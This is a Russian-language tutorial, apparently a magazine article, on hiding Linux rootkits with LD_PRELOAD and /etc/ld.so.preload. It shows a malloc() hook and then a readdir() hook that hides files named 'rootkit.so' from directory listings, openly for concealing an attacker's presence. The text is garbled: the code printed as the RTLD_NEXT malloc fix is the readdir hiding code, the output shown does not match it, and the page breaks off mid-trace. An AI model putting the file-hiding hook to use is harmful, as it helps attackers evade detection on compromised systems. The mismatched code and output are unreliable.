В никсах существует переменная среды, при указании которой твои библиотеки будут загружаться раньше остальных. А это значит, что появляется возможность подменить системные вызовы. Называется переменная LD_PRELOAD
, и в этой статье мы подробно обсудим ее значение в сокрытии (и обнаружении!) руткитов.
Официально главное предназначение LD_PRELOAD — отладка или проверка функций в динамически подключаемых библиотеках. Если не хочется исправлять и перекомпилировать саму библиотеку, то можно воспользоваться переменной среды.
К примеру, если нам нужно предзагрузить библиотеку ld.so, то у нас будет два способа:
LD_PRELOAD
с файлом библиотеки./etc/ld.so.preload
.В первом случае мы объявляем переменную с библиотекой для текущего пользователя и его окружения. Во втором же наша библиотека будет загружена раньше остальных для всех пользователей системы.
Нам интересен как раз второй способ: именно он часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, листинг директории, процессов и прочих функций, позволяющих злоумышленнику скрывать свое присутствие в системе.
Прежде чем мы начнем сближение с реальными функциями руткитов, давай на небольшом примере покажу, как можно перехватить вызов стандартной функции malloc().
Для этого напишем простую программу, которая выделяет блок памяти с помощью функции malloc()
, затем помещает в него функцией strncpy()
строку I'll be back
и выводит ее посредством fprintf()
по адресу, который вернула malloc()
.
Создаем файл call_malloc.c
:
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>int main(){ char *alloc = (char *)malloc(0x100); strncpy(alloc, "I'll be back0", 14); fprintf(stderr, "malloc(): %pnStr: %sn", alloc, alloc);}
Теперь напишем программу, переопределяющую malloc()
. Внутри — функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в STDERR
c помощью fprintf()
. Создадим файл libmalloc.c
:
#define _GNU_SOURCE#include <dlfcn.h>#include <stdlib.h>#include <stdio.h>void *malloc(size_t size){ fprintf(stderr, "nHijacked malloc(%ld)nn", size); return 0;}
Теперь с помощью GCC скомпилируем наш код:
$ ls
call_malloc.c libmalloc.c
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc call_malloc.c libmalloc.c libmalloc.so
Выполним нашу программу call_malloc:
$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back
Посмотрим, какие библиотеки использует наша программа, с помощью утилиты ldd:
$ ldd ./call_malloc
linux-vdso.so.1 (0x00007fff0cd81000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)
Отлично видно, что без использования предзагрузчика LD_PRELOAD
стандартно загружаются три библиотеки:
linux-vdso.so.1
— представляет собой виртуальный динамический разделяемый объект (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее — man 7 vdso
).libc.so.6
— библиотека libc с используемой нами функцией malloc()
в программе call_malloc
.ld-linux-x86-64.so.2
— сам динамический компоновщик.Теперь давай определим переменную LD_PRELOAD
и попробуем перехватить malloc()
. Здесь я не буду использовать export и ограничусь однострочной командой для простоты:
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошибка сегментирования
Мы успешно перехватили malloc()
из библиотеки libc.so
, но сделали это не совсем чисто. Функция возвращает значение указателя NULL, что при разыменовании strncpy()
в программе ./call_malloc
вызывает ошибку сегментирования. Исправим это.
Чтобы иметь возможность незаметно выполнить полезную нагрузку руткита, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть два способа решить эту проблему:
malloc()
должна реализовывать функциональность malloc()
библиотеки libc по запросу пользователя. Это полностью избавит от необходимости использовать malloc()
из libc.so
;libmalloc.so
каким‑то образом должна иметь возможность вызывать malloc()
из библиотеки libc и возвращать результаты вызывающей программе.Каждый раз при вызове malloc()
динамический компоновщик вызывает версию malloc()
из libmalloc.so
, поскольку это первое вхождение malloc()
. Но мы хотим вызвать следующее вхождение malloc()
— то, что находится в libc.so
.
Так происходит потому, что динамический компоновщик внутри использует функцию dlsym()
из /usr/include/dlfcn.h
для поиска адреса загруженного в память.
По умолчанию в качестве первого аргумента для dlsym()
используется дескриптор RTLD_DEFAULT
, который возвращает адрес первого вхождения символа. Однако есть еще один псевдоуказатель динамической библиотеки — RTLD_NEXT
, который ищет следующее вхождение. Используя RTLD_NEXT
, мы можем найти функцию malloc()
библиотеки libc.so
.
Отредактируем libmalloc.с
. Комментарии объясняют, что происходит внутри программы:
#define _GNU_SOURCE#include <dlfcn.h>#include <dirent.h>#include <stdlib.h>#include <stdio.h>#include <string.h>// Определяем макрос, который является// названием скрываемого файла#define RKIT "rootkit.so"// Здесь все то же, что и в примере с malloc()struct dirent* (*orig_readdir)(DIR *) = NULL;struct dirent *readdir(DIR *dirp){ if (orig_readdir == NULL) orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir"); // Вызов orig_readdir() для получения каталога struct dirent *ep = orig_readdir(dirp); while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) ) ep = orig_readdir(dirp); return ep;}
В цикле проверяется, не NULL ли значение директории, затем вызывается strncmp()
для проверки, совпадает ли d_name
каталога с RKIT (файла с руткитом). Если оба условия верны, вызывается функция orig_readdir()
для чтения следующей записи каталога. При этом пропускаются все директории, у которых d_name
начинается с rootkit.so
.
Теперь давай посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back
Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении malloc()
была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки libc.so
.
Теперь, когда мы понимаем, как работает LD_PRELOAD
и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.
Попробуем сделать так, чтобы утилита ls, когда выводит список файлов, пропускала руткит.
Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:
$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...
Получается, ls динамически скомпилирована с использованием функций библиотеки libc.so
. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита ls. Для этого в пустой директории выполним ltrace ls
:
$ ltrace ls
memcpy(0x55de4a72e9b0, ".
Читайте также
Последние новости